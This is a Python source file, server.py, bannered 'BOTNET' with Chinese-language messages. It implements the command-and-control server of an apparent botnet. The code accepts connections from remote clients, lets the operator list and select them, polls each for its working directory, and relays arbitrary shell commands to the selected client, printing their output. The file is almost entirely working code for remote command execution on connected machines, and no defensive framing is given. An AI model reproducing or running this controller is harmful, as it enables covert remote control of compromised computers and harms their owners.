server.py

import socket
import threading
import os
import time

os.system('cls')

version = "v1.0.1"

title = f"""
BBBBBBBBBBBBBBBBB        OOOOOOOOO     TTTTTTTTTTTTTTTTTTTTTTT   NNNNNNNN        NNNNNNNNEEEEEEEEEEEEEEEEEEEEEETTTTTTTTTTTTTTTTTTTTTT
B::::::::::::::::B     OO:::::::::OO   T:::::::::::::::::::::T   N:::::::N       N::::::NE::::::::::::::::::::ET:::::::::::::::::::::T
B::::::BBBBBB:::::B  OO:::::::::::::OO T:::::::::::::::::::::T   N::::::::N      N::::::NE::::::::::::::::::::ET:::::::::::::::::::::T
BB:::::B     B:::::BO:::::::OOO:::::::OT:::::TT:::::::TT:::::T   N:::::::::N     N::::::NEE::::::EEEEEEEEE::::ET:::::TT:::::::TT:::::T
  B::::B     B:::::BO::::::O   O::::::OTTTTTT  T:::::T  TTTTTT   N::::::::::N    N::::::N  E:::::E       EEEEEETTTTTT  T:::::T  TTTTTT
  B::::B     B:::::BO:::::O     O:::::O        T:::::T           N:::::::::::N   N::::::N  E:::::E                     T:::::T        
  B::::BBBBBB:::::B O:::::O     O:::::O        T:::::T           N:::::::N::::N  N::::::N  E::::::EEEEEEEEEE           T:::::T        
  B:::::::::::::BB  O:::::O     O:::::O        T:::::T           N::::::N N::::N N::::::N  E:::::::::::::::E           T:::::T        
  B::::BBBBBB:::::B O:::::O     O:::::O        T:::::T           N::::::N  N::::N:::::::N  E:::::::::::::::E           T:::::T        
  B::::B     B:::::BO:::::O     O:::::O        T:::::T           N::::::N   N:::::::::::N  E::::::EEEEEEEEEE           T:::::T        
  B::::B     B:::::BO:::::O     O:::::O        T:::::T           N::::::N    N::::::::::N  E:::::E                     T:::::T        
  B::::B     B:::::BO::::::O   O::::::O        T:::::T           N::::::N     N:::::::::N  E:::::E       EEEEEE        T:::::T        
BB:::::BBBBBB::::::BO:::::::OOO:::::::O      TT:::::::TT         N::::::N      N::::::::NEE::::::EEEEEEEE:::::E      TT:::::::TT
B:::::::::::::::::B  OO:::::::::::::OO       T:::::::::T         N::::::N       N:::::::NE::::::::::::::::::::E      T:::::::::T
B::::::::::::::::B     OO:::::::::OO         T:::::::::T         N::::::N        N::::::NE::::::::::::::::::::E      T:::::::::T
BBBBBBBBBBBBBBBBB        OOOOOOOOO           TTTTTTTTTTT         NNNNNNNN         NNNNNNNEEEEEEEEEEEEEEEEEEEEEE      TTTTTTTTTTT

版本: {version}
{'=' * 134}
"""

class ClientManager:
    def __init__(self):
        self.clients = {}
        self.current_client = None
        self.lock = threading.Lock()

    def add_client(self, client_socket, address):
        with self.lock:
            client_id = f"{address[0]}:{address[1]}"
            self.clients[client_id] = {
                'socket': client_socket,
                'address': address,
                'current_dir': "正在获取目录...",
                'active': True
            }
            if self.current_client is None:
                self.current_client = client_id
            print(f"[*] 新客户端连接: {client_id}")
            print(f"[*] 当前客户端数量: {len(self.clients)}")
            return client_id

    def remove_client(self, client_id):
        with self.lock:
            if client_id in self.clients:
                try:
                    self.clients[client_id]['socket'].close()
                except:
                    pass
                del self.clients[client_id]
                print(f"[*] 客户端 {client_id} 已断开连接")
                if self.current_client == client_id:
                    self.current_client = None if not self.clients else next(iter(self.clients))
                print(f"[*] 剩余客户端数量: {len(self.clients)}")

    def list_clients(self):
        with self.lock:
            return list(self.clients.keys())

    def set_current_client(self, client_id):
        with self.lock:
            if client_id in self.clients:
                self.current_client = client_id
                return True
            return False

    def get_current_client(self):
        with self.lock:
            return self.current_client

    def get_client_socket(self, client_id):
        with self.lock:
            client = self.clients.get(client_id)
            return client.get('socket') if client else None

    def update_client_dir(self, client_id, new_dir):
        with self.lock:
            if client_id in self.clients:
                self.clients[client_id]['current_dir'] = new_dir

    def get_client_dir(self, client_id):
        with self.lock:
            client = self.clients.get(client_id)
            return client.get('current_dir') if client else None

    def mark_client_inactive(self, client_id):
        with self.lock:
            if client_id in self.clients:
                self.clients[client_id]['active'] = False

    def is_client_active(self, client_id):
        with self.lock:
            client = self.clients.get(client_id)
            return client.get('active') if client else False

client_manager = ClientManager()

def handle_client(client_socket, address):
    client_id = client_manager.add_client(client_socket, address)
    try:
        while client_manager.is_client_active(client_id):
            try:
                client_socket.send("pwd".encode('utf-8'))
                current_dir = client_socket.recv(4096).decode('utf-8', errors='ignore').strip()
                client_manager.update_client_dir(client_id, current_dir)
            except Exception as e:
                print(f"与客户端 {client_id} 通信时出错: {e}")
                break
            time.sleep(1)
    except Exception as e:
        print(f"处理客户端 {client_id} 时出错: {e}")
    finally:
        client_manager.remove_client(client_id)

def get_current_prompt():
    current_client = client_manager.get_current_client()
    if current_client:
        current_dir = client_manager.get_client_dir(current_client)
        if current_dir:
            return f"{current_dir}> "
    return "botnet> "

def server_input_handler():
    while True:
        try:
            prompt = get_current_prompt()
            command = input(prompt)
            if not command.strip():
                continue
            if command.lower() == 'exit':
                break
            if command.lower() == 'cls':
                os.system('cls')
                print(title)
                continue
            if command.lower() == 'list':
                clients = client_manager.list_clients()
                current_client = client_manager.get_current_client()
                print("\n当前连接的客户端:")
                for i, client_id in enumerate(clients, 1):
                    prefix = "* " if client_id == current_client else "  "
                    dir_info = client_manager.get_client_dir(client_id)
                    print(f"{prefix}{i}. {client_id} [目录: {dir_info}]")
                print()
                continue
            if command.lower().startswith('sel '):
                parts = command.split()
                if len(parts) == 2:
                    try:
                        index = int(parts[1]) - 1
                        clients = client_manager.list_clients()
                        if 0 <= index < len(clients):
                            client_id = clients[index]
                            if client_manager.set_current_client(client_id):
                                current_dir = client_manager.get_client_dir(client_id)
                                print(f"\n已选择客户端: {client_id}")
                                if current_dir:
                                    print(f"当前目录: {current_dir}\n")
                            else:
                                print("\n选择客户端失败\n")
                        else:
                            print("\n无效的客户端索引\n")
                    except ValueError:
                        print("\n请输入有效的数字索引\n")
                else:
                    print("\n用法: sel <客户端编号>\n")
                continue
            current_client = client_manager.get_current_client()
            if current_client is None:
                print("\n没有可用的客户端，请先选择或等待客户端连接\n")
                continue
            client_socket = client_manager.get_client_socket(current_client)
            if client_socket is None:
                print("\n当前客户端不可用\n")
                continue
            try:
                client_socket.send(command.encode('utf-8'))
                output = client_socket.recv(65536).decode('utf-8', errors='ignore')  # 增大缓冲区
                if command.lower().startswith('cd '):
                    if "目录已更改为:" in output:
                        new_dir = output.split(":")[-1].strip()
                        client_manager.update_client_dir(current_client, new_dir)
                    print(f"\n{output}\n")
                else:
                    if output:
                        print(f"\n来自 {current_client} 的输出:\n{output}\n")
            except Exception as e:
                print(f"\n与客户端 {current_client} 通信时出错: {e}\n")
                client_manager.mark_client_inactive(current_client)
        except KeyboardInterrupt:
            print("\n[*] 输入中断，返回主菜单\n")
        except Exception as e:
            print(f"\n处理输入时出错: {e}\n")

def start_server():
    host = '127.0.0.1'
    port = 1000
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((host, port))
    server.listen(5)
    print(f"[*] 服务器监听在 {host}:{port}")
    input_thread = threading.Thread(target=server_input_handler, daemon=True)
    input_thread.start()
    try:
        while True:
            client_socket, address = server.accept()
            client_handler = threading.Thread(
                target=handle_client,
                args=(client_socket, address),
                daemon=True
            )
            client_handler.start()
    except KeyboardInterrupt:
        print("\n[*] 服务器正在关闭...")
    finally:
        server.close()

if __name__ == "__main__":
    print(title)
    start_server()